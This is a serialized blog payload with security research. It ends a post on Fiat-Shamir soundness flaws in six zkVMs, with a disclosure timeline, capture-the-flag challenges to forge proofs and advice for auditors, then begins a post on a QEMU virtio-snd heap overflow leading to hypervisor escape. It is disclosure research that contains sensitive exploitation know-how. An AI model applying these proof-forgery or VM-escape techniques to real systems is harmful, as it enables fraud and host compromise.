Timeline",{"type":19,"tag":53228,"props":120482,"children":120483},{},[120484,120512],{"type":19,"tag":120485,"props":120486,"children":120487},"thead",{},[120488],{"type":19,"tag":120489,"props":120490,"children":120491},"tr",{},[120492,120497,120502,120507],{"type":19,"tag":120493,"props":120494,"children":120495},"th",{},[120496],{"type":24,"value":20664},{"type":19,"tag":120493,"props":120498,"children":120499},{},[120500],{"type":24,"value":120501},"Reported",{"type":19,"tag":120493,"props":120503,"children":120504},{},[120505],{"type":24,"value":120506},"Fixed",{"type":19,"tag":120493,"props":120508,"children":120509},{},[120510],{"type":24,"value":120511},"Response Time",{"type":19,"tag":120513,"props":120514,"children":120515},"tbody",{},[120516,120539,120560,120580,120602,120623],{"type":19,"tag":120489,"props":120517,"children":120518},{},[120519,120524,120529,120534],{"type":19,"tag":120520,"props":120521,"children":120522},"td",{},[120523],{"type":24,"value":105347},{"type":19,"tag":120520,"props":120525,"children":120526},{},[120527],{"type":24,"value":120528},"Sep 2025",{"type":19,"tag":120520,"props":120530,"children":120531},{},[120532],{"type":24,"value":120533},"Oct 3, 2025",{"type":19,"tag":120520,"props":120535,"children":120536},{},[120537],{"type":24,"value":120538},"\u003C1 week",{"type":19,"tag":120489,"props":120540,"children":120541},{},[120542,120546,120551,120556],{"type":19,"tag":120520,"props":120543,"children":120544},{},[120545],{"type":24,"value":105353},{"type":19,"tag":120520,"props":120547,"children":120548},{},[120549],{"type":24,"value":120550},"Oct 2025",{"type":19,"tag":120520,"props":120552,"children":120553},{},[120554],{"type":24,"value":120555},"Oct 24, 2025",{"type":19,"tag":120520,"props":120557,"children":120558},{},[120559],{"type":24,"value":120538},{"type":19,"tag":120489,"props":120561,"children":120562},{},[120563,120567,120571,120576],{"type":19,"tag":120520,"props":120564,"children":120565},{},[120566],{"type":24,"value":105359},{"type":19,"tag":120520,"props":120568,"children":120569},{},[120570],{"type":24,"value":120550},{"type":19,"tag":120520,"props":120572,"children":120573},{},[120574],{"type":24,"value":120575},"Oct 31, 2025",{"type":19,"tag":120520,"props":120577,"children":120578},{},[120579],{"type":24,"value":120538},{"type":19,"tag":120489,"props":120581,"children":120582},{},[120583,120587,120592,120597],{"type":19,"tag":120520,"props":120584,"children":120585},{},[120586],{"type":24,"value":105365},{"type":19,"tag":120520,"props":120588,"children":120589},{},[120590],{"type":24,"value":120591},"Nov 2025",{"type":19,"tag":120520,"props":120593,"children":120594},{},[120595],{"type":24,"value":120596},"Mar 5, 2026",{"type":19,"tag":120520,"props":120598,"children":120599},{},[120600],{"type":24,"value":120601},"~4 months",{"type":19,"tag":120489,"props":120603,"children":120604},{},[120605,120609,120614,120619],{"type":19,"tag":120520,"props":120606,"children":120607},{},[120608],{"type":24,"value":105377},{"type":19,"tag":120520,"props":120610,"children":120611},{},[120612],{"type":24,"value":120613},"Dec 2025",{"type":19,"tag":120520,"props":120615,"children":120616},{},[120617],{"type":24,"value":120618},"Dec 29, 2025",{"type":19,"tag":120520,"props":120620,"children":120621},{},[120622],{"type":24,"value":120538},{"type":19,"tag":120489,"props":120624,"children":120625},{},[120626,120630,120634,120639],{"type":19,"tag":120520,"props":120627,"children":120628},{},[120629],{"type":24,"value":105371},{"type":19,"tag":120520,"props":120631,"children":120632},{},[120633],{"type":24,"value":120591},{"type":19,"tag":120520,"props":120635,"children":120636},{},[120637],{"type":24,"value":120638},"Jan 21, 2026?",{"type":19,"tag":120520,"props":120640,"children":120641},{},[120642],{"type":24,"value":120643},"3 months",{"type":19,"tag":20,"props":120645,"children":120646},{},[120647],{"type":24,"value":120648},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":19,"tag":16245,"props":120650,"children":120651},{},[],{"type":19,"tag":36,"props":120653,"children":120655},{"id":120654},"challenges",[120656],{"type":24,"value":105390},{"type":19,"tag":20,"props":120658,"children":120659},{},[120660,120662],{"type":24,"value":120661},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":19,"tag":120663,"props":120664,"children":120665},"del",{},[120666],{"type":24,"value":120667},"the first 10 solvers will get a T-shirt.",{"type":19,"tag":20,"props":120669,"children":120670},{},[120671,120673,120726,120727,120983],{"type":24,"value":120672},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":19,"tag":27,"props":120674,"children":120676},{"className":120675},[1411,1412],[120677],{"type":19,"tag":168,"props":120678,"children":120680},{"className":120679},[1417],[120681],{"type":19,"tag":168,"props":120682,"children":120684},{"className":120683,"ariaHidden":1423},[1422],[120685],{"type":19,"tag":168,"props":120686,"children":120688},{"className":120687},[1428],[120689,120693,120698,120703,120707,120712,120717,120721],{"type":19,"tag":168,"props":120690,"children":120692},{"className":120691,"style":112589},[1433],[],{"type":19,"tag":168,"props":120694,"children":120696},{"className":120695},[1439,19043],[120697],{"type":24,"value":269},{"type":19,"tag":168,"props":120699,"children":120701},{"className":120700},[1552],[120702],{"type":24,"value":1555},{"type":19,"tag":168,"props":120704,"children":120706},{"className":120705,"style":1559},[1520],[],{"type":19,"tag":168,"props":120708,"children":120710},{"className":120709},[1439,19043],[120711],{"type":24,"value":621},{"type":19,"tag":168,"props":120713,"children":120715},{"className":120714},[1552],[120716],{"type":24,"value":1555},{"type":19,"tag":168,"props":120718,"children":120720},{"className":120719,"style":1559},[1520],[],{"type":19,"tag":168,"props":120722,"children":120724},{"className":120723},[1439,19043],[120725],{"type":24,"value":543},{"type":24,"value":107190},{"type":19,"tag":27,"props":120728,"children":120730},{"className":120729},[1411,1412],[120731],{"type":19,"tag":168,"props":120732,"children":120734},{"className":120733},[1417],[120735],{"type":19,"tag":168,"props":120736,"children":120738},{"className":120737,"ariaHidden":1423},[1422],[120739,120802,120864,120970],{"type":19,"tag":168,"props":120740,"children":120742},{"className":120741},[1428],[120743,120748,120789,120793,120798],{"type":19,"tag":168,"props":120744,"children":120747},{"className":120745,"style":120746},[1433],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":19,"tag":168,"props":120749,"children":120751},{"className":120750},[1439],[120752,120757],{"type":19,"tag":168,"props":120753,"children":120755},{"className":120754},[1439,19043],[120756],{"type":24,"value":269},{"type":19,"tag":168,"props":120758,"children":120760},{"className":120759},[1456],[120761],{"type":19,"tag":168,"props":120762,"children":120764},{"className":120763},[1461],[120765],{"type":19,"tag":168,"props":120766,"children":120768},{"className":120767},[1466],[120769],{"type":19,"tag":168,"props":120770,"children":120772},{"className":120771,"style":1434},[1471],[120773],{"type":19,"tag":168,"props":120774,"children":120775},{"style":1475},[120776,120780],{"type":19,"tag":168,"props":120777,"children":120779},{"className":120778,"style":1481},[1480],[],{"type":19,"tag":168,"props":120781,"children":120783},{"className":120782},[1486,1487,1488,1489],[120784],{"type":19,"tag":168,"props":120785,"children":120787},{"className":120786},[1439,1489],[120788],{"type":24,"value":14745},{"type":19,"tag":168,"props":120790,"children":120792},{"className":120791,"style":1521},[1520],[],{"type":19,"tag":168,"props":120794,"children":120796},{"className":120795},[1526],[120797],{"type":24,"value":1811},{"type":19,"tag":168,"props":120799,"children":120801},{"className":120800,"style":1521},[1520],[],{"type":19,"tag":168,"props":120803,"children":120805},{"className":120804},[1428],[120806,120810,120851,120855,120860],{"type":19,"tag":168,"props":120807,"children":120809},{"className":120808,"style":1434},[1433],[],{"type":19,"tag":168,"props":120811,"children":120813},{"className":120812},[1439],[120814,120819],{"type":19,"tag":168,"props":120815,"children":120817},{"className":120816},[1439,19043],[120818],{"type":24,"value":621},{"type":19,"tag":168,"props":120820,"children":120822},{"className":120821},[1456],[120823],{"type":19,"tag":168,"props":120824,"children":120826},{"className":120825},[1461],[120827],{"type":19,"tag":168,"props":120828,"children":120830},{"className":120829},[1466],[120831],{"type":19,"tag":168,"props":120832,"children":120834},{"className":120833,"style":1434},[1471],[120835],{"type":19,"tag":168,"props":120836,"children":120837},{"style":1475},[120838,120842],{"type":19,"tag":168,"props":120839,"children":120841},{"className":120840,"style":1481},[1480],[],{"type":19,"tag":168,"props":120843,"children":120845},{"className":120844},[1486,1487,1488,1489],[120846],{"type":19,"tag":168,"props":120847,"children":120849},{"className":120848},[1439,1489],[120850],{"type":24,"value":14745},{"type":19,"tag":168,"props":120852,"children":120854},{"className":120853,"style":1618},[1520],[],{"type":19,"tag":168,"props":120856,"children":120858},{"className":120857},[1623],[120859],{"type":24,"value":486},{"type":19,"tag":168,"props":120861,"children":120863},{"className":120862,"style":1618},[1520],[],{"type":19,"tag":168,"props":120865,"children":120867},{"className":120866},[1428],[120868,120873,120914,120919,120923,120928,120933,120937,120942,120947,120951,120956,120960,120966],{"type":19,"tag":168,"props":120869,"children":120872},{"className":120870,"style":120871},[1433],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":19,"tag":168,"props":120874,"children":120876},{"className":120875},[1439],[120877,120882],{"type":19,"tag":168,"props":120878,"children":120880},{"className":120879},[1439,19043],[120881],{"type":24,"value":543},{"type":19,"tag":168,"props":120883,"children":120885},{"className":120884},[1456],[120886],{"type":19,"tag":168,"props":120887,"children":120889},{"className":120888},[1461],[120890],{"type":19,"tag":168,"props":120891,"children":120893},{"className":120892},[1466],[120894],{"type":19,"tag":168,"props":120895,"children":120897},{"className":120896,"style":1434},[1471],[120898],{"type":19,"tag":168,"props":120899,"children":120900},{"style":1475},[120901,120905],{"type":19,"tag":168,"props":120902,"children":120904},{"className":120903,"style":1481},[1480],[],{"type":19,"tag":168,"props":120906,"children":120908},{"className":120907},[1486,1487,1488,1489],[120909],{"type":19,"tag":168,"props":120910,"children":120912},{"className":120911},[1439,1489],[120913],{"type":24,"value":14745},{"type":19,"tag":168,"props":120915,"children":120917},{"className":120916},[1552],[120918],{"type":24,"value":1555},{"type":19,"tag":168,"props":120920,"children":120922},{"className":120921,"style":1559},[1520],[],{"type":19,"tag":168,"props":120924,"children":120926},{"className":120925},[1439,19043],[120927],{"type":24,"value":269},{"type":19,"tag":168,"props":120929,"children":120931},{"className":120930},[1552],[120932],{"type":24,"value":1555},{"type":19,"tag":168,"props":120934,"children":120936},{"className":120935,"style":1559},[1520],[],{"type":19,"tag":168,"props":120938,"children":120940},{"className":120939},[1439,19043],[120941],{"type":24,"value":621},{"type":19,"tag":168,"props":120943,"children":120945},{"className":120944},[1552],[120946],{"type":24,"value":1555},{"type":19,"tag":168,"props":120948,"children":120950},{"className":120949,"style":1559},[1520],[],{"type":19,"tag":168,"props":120952,"children":120954},{"className":120953},[1439,19043],[120955],{"type":24,"value":543},{"type":19,"tag":168,"props":120957,"children":120959},{"className":120958,"style":1618},[1520],[],{"type":19,"tag":168,"props":120961,"children":120963},{"className":120962},[1623],[120964],{"type":24,"value":120965},"≥",{"type":19,"tag":168,"props":120967,"children":120969},{"className":120968,"style":1618},[1520],[],{"type":19,"tag":168,"props":120971,"children":120973},{"className":120972},[1428],[120974,120978],{"type":19,"tag":168,"props":120975,"children":120977},{"className":120976,"style":91566},[1433],[],{"type":19,"tag":168,"props":120979,"children":120981},{"className":120980},[1439],[120982],{"type":24,"value":1442},{"type":24,"value":120984},". Good luck!",{"type":19,"tag":7050,"props":120986,"children":120988},{"id":120987},"jolt",[120989],{"type":24,"value":105347},{"type":19,"tag":20,"props":120991,"children":120992},{},[120993,120995,121006,121008],{"type":24,"value":120994},"See ",{"type":19,"tag":269,"props":120996,"children":121003},{"href":120997,"target":120998,"rel":120999,"download":121002},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[121000,121001],"noopener","noreferrer","handout_jolt.tar.gz",[121004],{"type":24,"value":121005},"the handout",{"type":24,"value":121007}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":19,"tag":27,"props":121009,"children":121011},{"className":121010},[],[121012],{"type":24,"value":121013},"jolt.chal.osec.io:8960",{"type":19,"tag":7050,"props":121015,"children":121017},{"id":121016},"nexus-1",[121018],{"type":24,"value":105353},{"type":19,"tag":20,"props":121020,"children":121021},{},[121022,121023,121030,121031],{"type":24,"value":120994},{"type":19,"tag":269,"props":121024,"children":121028},{"href":121025,"target":120998,"rel":121026,"download":121027},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[121000,121001],"handout_nexus.tar.gz",[121029],{"type":24,"value":121005},{"type":24,"value":121007},{"type":19,"tag":27,"props":121032,"children":121034},{"className":121033},[],[121035],{"type":24,"value":121036},"nexus.chal.osec.io:8950",{"type":19,"tag":20,"props":121038,"children":121039},{},[121040],{"type":24,"value":121041},"Now you should have enough margin to prove Fermat wrong.",{"type":19,"tag":16245,"props":121043,"children":121044},{},[],{"type":19,"tag":36,"props":121046,"children":121048},{"id":121047},"takeaways",[121049],{"type":24,"value":121050},"Takeaways",{"type":19,"tag":20,"props":121052,"children":121053},{},[121054],{"type":24,"value":121055},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":19,"tag":20,"props":121057,"children":121058},{},[121059],{"type":24,"value":121060},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":19,"tag":20,"props":121062,"children":121063},{},[121064,121069],{"type":19,"tag":51,"props":121065,"children":121066},{},[121067],{"type":24,"value":121068},"For the ZK ecosystem:",{"type":24,"value":121070}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":19,"tag":20,"props":121072,"children":121073},{},[121074],{"type":24,"value":121075},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":19,"tag":20,"props":121077,"children":121078},{},[121079,121084],{"type":19,"tag":51,"props":121080,"children":121081},{},[121082],{"type":24,"value":121083},"For auditors:",{"type":24,"value":121085}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":19,"tag":20,"props":121087,"children":121088},{},[121089,121094],{"type":19,"tag":51,"props":121090,"children":121091},{},[121092],{"type":24,"value":121093},"For builders:",{"type":24,"value":121095}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":19,"tag":232,"props":121097,"children":121098},{},[121099],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":121101},[121102,121103,121106,121112,121113,121121,121127,121130,121131,121135],{"id":105398,"depth":198,"text":105401},{"id":105540,"depth":198,"text":105543,"children":121104},[121105],{"id":105546,"depth":415,"text":105549},{"id":105975,"depth":198,"text":105978,"children":121107},[121108,121109,121110,121111],{"id":105986,"depth":415,"text":105989},{"id":106174,"depth":415,"text":106177},{"id":109555,"depth":415,"text":109558},{"id":110769,"depth":415,"text":110772},{"id":112406,"depth":198,"text":112409},{"id":112912,"depth":198,"text":112915,"children":121114},[121115,121116,121117,121118,121119,121120],{"id":112934,"depth":415,"text":112937},{"id":114259,"depth":415,"text":105353},{"id":115395,"depth":415,"text":115398},{"id":116063,"depth":415,"text":116066},{"id":118719,"depth":415,"text":118722},{"id":119273,"depth":415,"text":105377},{"id":120202,"depth":198,"text":120205,"children":121122},[121123,121124,121125,121126],{"id":120213,"depth":415,"text":120216},{"id":120383,"depth":415,"text":120386},{"id":120407,"depth":415,"text":120410},{"id":120423,"depth":415,"text":120426},{"id":120437,"depth":198,"text":120440,"children":121128},[121129],{"id":120443,"depth":415,"text":120446},{"id":120477,"depth":198,"text":120480},{"id":120654,"depth":198,"text":105390,"children":121132},[121133,121134],{"id":120987,"depth":415,"text":105347},{"id":121016,"depth":415,"text":105353},{"id":121047,"depth":198,"text":121050},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":121140,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":121141,"description":121142,"date":121143,"author":121144,"image":121145,"isFeatured":14,"onBlogPage":14,"tags":121147,"body":121150,"_type":242,"_id":129436,"_source":244,"_file":129437,"_stem":129438,"_extension":247},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":121146,"width":94756,"height":11069},"/posts/virtio-snd-qemu-0day/title.png",[121148,121149],"qemu","heap-overflow",{"type":16,"children":121151,"toc":129418},[121152,121157,121162,121167,121173,121178,121183,121191,121197,121209,121213,121218,121226,121231,121237,121242,121255,121865,121900,121945,121979,122014,122149,122197,122203,122208,122964,123009,123045,123080,123145,123165,123615,123662,123665,123670,123735,123761,123783,123787,123792,123797,123803,123808,123813,123818,123824,123837,123843,123848,123856,123926,123931,123937,123950,124176,124239,124258,124641,124646,124679,124684,124960,124972,124990,125269,125281,125284,125319,125324,125330,125342,125354,125359,125364,125374,125409,126026,126058,126069,126105,126118,126124,126136,126144,126170,126175,126208,126249,126255,126274,126312,126320,126369,126374,126423,126428,126436,126523,126529,126568,126580,126588,126606,126625,126633,126645,126653,126672,126680,126691,126699,126710,126718,126731,126739,126745,126750,126763,126771,126789,126797,126809,126814,126822,126858,126891,126898,126932,126940,126945,126951,126963,126974,127253,127313,127381,127389,127423,128027,128038,128046,128052,128057,128068,128822,128855,128867,128953,128973,129182,129229,129241,129247,129266,129292,129320,129336,129363,129366,129386,129400,129404,129409,129414],{"type":19,"tag":20,"props":121153,"children":121154},{},[121155],{"type":24,"value":121156},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":19,"tag":36,"props":121158,"children":121159},{"id":121148},[121160],{"type":24,"value":121161},"QEMU",{"type":19,"tag":20,"props":121163,"children":121164},{},[121165],{"type":24,"value":121166},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":19,"tag":7050,"props":121168,"children":121170},{"id":121169},"virtio-devices",[121171],{"type":24,"value":121172},"Virtio Devices",{"type":19,"tag":20,"props":121174,"children":121175},{},[121176],{"type":24,"value":121177},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":19,"tag":20,"props":121179,"children":121180},{},[121181],{"type":24,"value":121182},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":19,"tag":20,"props":121184,"children":121185},{},[121186],{"type":19,"tag":1344,"props":121187,"children":121190},{"alt":121188,"src":121189},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":19,"tag":36,"props":121192,"children":121194},{"id":121193},"finding-a-bug",[121195],{"type":24,"value":121196},"Finding a Bug",{"type":19,"tag":20,"props":121198,"children":121199},{},[121200,121202,121208],{"type":24,"value":121201},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":19,"tag":27,"props":121203,"children":121205},{"className":121204},[],[121206],{"type":24,"value":121207},"virtio-snd",{"type":24,"value":948},{"type":19,"tag":7050,"props":121210,"children":121211},{"id":121207},[121212],{"type":24,"value":121207},{"type":19,"tag":20,"props":121214,"children":121215},{},[121216],{"type":24,"value":121217},"From the official documentation:",{"type":19,"tag":315,"props":121219,"children":121220},{},[121221],{"type":19,"tag":20,"props":121222,"children":121223},{},[121224],{"type":24,"value":121225},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":19,"tag":20,"props":121227,"children":121228},{},[121229],{"type":24,"value":121230},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":19,"tag":16345,"props":121232,"children":121234},{"id":121233},"audio-data-buffers",[121235],{"type":24,"value":121236},"Audio Data Buffers",{"type":19,"tag":20,"props":121238,"children":121239},{},[121240],{"type":24,"value":121241},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":19,"tag":20,"props":121243,"children":121244},{},[121245,121247,121253],{"type":24,"value":121246},"For example, the following is ",{"type":19,"tag":27,"props":121248,"children":121250},{"className":121249},[],[121251],{"type":24,"value":121252},"virtio_snd_handle_rx_xfer",{"type":24,"value":121254},", which is responsible for allocating buffers for an input audio stream:",{"type":19,"tag":158,"props":121256,"children":121258},{"code":121257,"language":543,"meta":7,"className":13963,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtQueueElement *elem;\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement)); // [1]\n if (!elem) {\n break;\n }\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status); // [2]\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n buffer->elem = elem;\n buffer->vq = vq;\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n }\n continue;\n\n [...]\n}\n\n",[121259],{"type":19,"tag":27,"props":121260,"children":121261},{"__ignoreMap":7},[121262,121269,121277,121285,121292,121300,121308,121316,121364,121371,121388,121395,121402,121414,121431,121438,121474,121494,121505,121512,121519,121527,121534,121567,121626,121644,121683,121708,121732,121760,121787,121825,121832,121844,121851,121858],{"type":19,"tag":168,"props":121263,"children":121264},{"class":170,"line":171},[121265],{"type":19,"tag":168,"props":121266,"children":121267},{"style":373},[121268],{"type":24,"value":46848},{"type":19,"tag":168,"props":121270,"children":121271},{"class":170,"line":198},[121272],{"type":19,"tag":168,"props":121273,"children":121274},{"style":373},[121275],{"type":24,"value":121276}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":19,"tag":168,"props":121278,"children":121279},{"class":170,"line":415},[121280],{"type":19,"tag":168,"props":121281,"children":121282},{"style":373},[121283],{"type":24,"value":121284}," * respective streams for consumption.\n",{"type":19,"tag":168,"props":121286,"children":121287},{"class":170,"line":450},[121288],{"type":19,"tag":168,"props":121289,"children":121290},{"style":373},[121291],{"type":24,"value":16942},{"type":19,"tag":168,"props":121293,"children":121294},{"class":170,"line":560},[121295],{"type":19,"tag":168,"props":121296,"children":121297},{"style":373},[121298],{"type":24,"value":121299}," * @vdev: VirtIOSound device\n",{"type":19,"tag":168,"props":121301,"children":121302},{"class":170,"line":666},[121303],{"type":19,"tag":168,"props":121304,"children":121305},{"style":373},[121306],{"type":24,"value":121307}," * @vq: rx virtqueue\n",{"type":19,"tag":168,"props":121309,"children":121310},{"class":170,"line":694},[121311],{"type":19,"tag":168,"props":121312,"children":121313},{"style":373},[121314],{"type":24,"value":121315}," */\n",{"type":19,"tag":168,"props":121317,"children":121318},{"class":170,"line":707},[121319,121323,121327,121332,121337,121341,121346,121351,121355,121360],{"type":19,"tag":168,"props":121320,"children":121321},{"style":382},[121322],{"type":24,"value":48527},{"type":19,"tag":168,"props":121324,"children":121325},{"style":382},[121326],{"type":24,"value":48532},{"type":19,"tag":168,"props":121328,"children":121329},{"style":175},[121330],{"type":24,"value":121331}," virtio_snd_handle_rx_xfer",{"type":19,"tag":168,"props":121333,"children":121334},{"style":212},[121335],{"type":24,"value":121336},"(VirtIODevice ",{"type":19,"tag":168,"props":121338,"children":121339},{"style":399},[121340],{"type":24,"value":2002},{"type":19,"tag":168,"props":121342,"children":121343},{"style":393},[121344],{"type":24,"value":121345},"vdev",{"type":19,"tag":168,"props":121347,"children":121348},{"style":212},[121349],{"type":24,"value":121350},", VirtQueue ",{"type":19,"tag":168,"props":121352,"children":121353},{"style":399},[121354],{"type":24,"value":2002},{"type":19,"tag":168,"props":121356,"children":121357},{"style":393},[121358],{"type":24,"value":121359},"vq",{"type":19,"tag":168,"props":121361,"children":121362},{"style":212},[121363],{"type":24,"value":557},{"type":19,"tag":168,"props":121365,"children":121366},{"class":170,"line":725},[121367],{"type":19,"tag":168,"props":121368,"children":121369},{"style":212},[121370],{"type":24,"value":8324},{"type":19,"tag":168,"props":121372,"children":121373},{"class":170,"line":746},[121374,121379,121383],{"type":19,"tag":168,"props":121375,"children":121376},{"style":212},[121377],{"type":24,"value":121378}," VirtQueueElement ",{"type":19,"tag":168,"props":121380,"children":121381},{"style":399},[121382],{"type":24,"value":2002},{"type":19,"tag":168,"props":121384,"children":121385},{"style":212},[121386],{"type":24,"value":121387},"elem;\n",{"type":19,"tag":168,"props":121389,"children":121390},{"class":170,"line":755},[121391],{"type":19,"tag":168,"props":121392,"children":121393},{"style":212},[121394],{"type":24,"value":102288},{"type":19,"tag":168,"props":121396,"children":121397},{"class":170,"line":1008},[121398],{"type":19,"tag":168,"props":121399,"children":121400},{"emptyLinePlaceholder":14},[121401],{"type":24,"value":1093},{"type":19,"tag":168,"props":121403,"children":121404},{"class":170,"line":1025},[121405,121409],{"type":19,"tag":168,"props":121406,"children":121407},{"style":419},[121408],{"type":24,"value":422},{"type":19,"tag":168,"props":121410,"children":121411},{"style":212},[121412],{"type":24,"value":121413}," (;;) {\n",{"type":19,"tag":168,"props":121415,"children":121416},{"class":170,"line":1042},[121417,121422,121426],{"type":19,"tag":168,"props":121418,"children":121419},{"style":212},[121420],{"type":24,"value":121421}," VirtIOSoundPCMStream ",{"type":19,"tag":168,"props":121423,"children":121424},{"style":399},[121425],{"type":24,"value":2002},{"type":19,"tag":168,"props":121427,"children":121428},{"style":212},[121429],{"type":24,"value":121430},"stream;\n",{"type":19,"tag":168,"props":121432,"children":121433},{"class":170,"line":1055},[121434],{"type":19,"tag":168,"props":121435,"children":121436},{"emptyLinePlaceholder":14},[121437],{"type":24,"value":1093},{"type":19,"tag":168,"props":121439,"children":121440},{"class":170,"line":1064},[121441,121446,121450,121455,121460,121464,121469],{"type":19,"tag":168,"props":121442,"children":121443},{"style":212},[121444],{"type":24,"value":121445}," elem ",{"type":19,"tag":168,"props":121447,"children":121448},{"style":399},[121449],{"type":24,"value":486},{"type":19,"tag":168,"props":121451,"children":121452},{"style":175},[121453],{"type":24,"value":121454}," virtqueue_pop",{"type":19,"tag":168,"props":121456,"children":121457},{"style":212},[121458],{"type":24,"value":121459},"(vq, ",{"type":19,"tag":168,"props":121461,"children":121462},{"style":382},[121463],{"type":24,"value":52811},{"type":19,"tag":168,"props":121465,"children":121466},{"style":212},[121467],{"type":24,"value":121468},"(VirtQueueElement));",{"type":19,"tag":168,"props":121470,"children":121471},{"style":373},[121472],{"type":24,"value":121473}," // [1]\n",{"type":19,"tag":168,"props":121475,"children":121476},{"class":170,"line":1087},[121477,121481,121485,121489],{"type":19,"tag":168,"props":121478,"children":121479},{"style":419},[121480],{"type":24,"value":672},{"type":19,"tag":168,"props":121482,"children":121483},{"style":212},[121484],{"type":24,"value":461},{"type":19,"tag":168,"props":121486,"children":121487},{"style":399},[121488],{"type":24,"value":18076},{"type":19,"tag":168,"props":121490,"children":121491},{"style":212},[121492],{"type":24,"value":121493},"elem) {\n",{"type":19,"tag":168,"props":121495,"children":121496},{"class":170,"line":1096},[121497,121501],{"type":19,"tag":168,"props":121498,"children":121499},{"style":419},[121500],{"type":24,"value":700},{"type":19,"tag":168,"props":121502,"children":121503},{"style":212},[121504],{"type":24,"value":412},{"type":19,"tag":168,"props":121506,"children":121507},{"class":170,"line":1105},[121508],{"type":19,"tag":168,"props":121509,"children":121510},{"style":212},[121511],{"type":24,"value":752},{"type":19,"tag":168,"props":121513,"children":121514},{"class":170,"line":1174},[121515],{"type":19,"tag":168,"props":121516,"children":121517},{"emptyLinePlaceholder":14},[121518],{"type":24,"value":1093},{"type":19,"tag":168,"props":121520,"children":121521},{"class":170,"line":1182},[121522],{"type":19,"tag":168,"props":121523,"children":121524},{"style":212},[121525],{"type":24,"value":121526}," [...]\n",{"type":19,"tag":168,"props":121528,"children":121529},{"class":170,"line":1212},[121530],{"type":19,"tag":168,"props":121531,"children":121532},{"emptyLinePlaceholder":14},[121533],{"type":24,"value":1093},{"type":19,"tag":168,"props":121535,"children":121536},{"class":170,"line":1220},[121537,121542,121546,121550,121554,121558,121563],{"type":19,"tag":168,"props":121538,"children":121539},{"style":175},[121540],{"type":24,"value":121541}," WITH_QEMU_LOCK_GUARD",{"type":19,"tag":168,"props":121543,"children":121544},{"style":212},[121545],{"type":24,"value":500},{"type":19,"tag":168,"props":121547,"children":121548},{"style":399},[121549],{"type":24,"value":505},{"type":19,"tag":168,"props":121551,"children":121552},{"style":393},[121553],{"type":24,"value":33736},{"type":19,"tag":168,"props":121555,"children":121556},{"style":212},[121557],{"type":24,"value":11203},{"type":19,"tag":168,"props":121559,"children":121560},{"style":393},[121561],{"type":24,"value":121562},"queue_mutex",{"type":19,"tag":168,"props":121564,"children":121565},{"style":212},[121566],{"type":24,"value":12250},{"type":19,"tag":168,"props":121568,"children":121569},{"class":170,"line":1252},[121570,121575,121579,121584,121588,121592,121596,121601,121605,121609,121613,121618,121622],{"type":19,"tag":168,"props":121571,"children":121572},{"style":212},[121573],{"type":24,"value":121574}," size 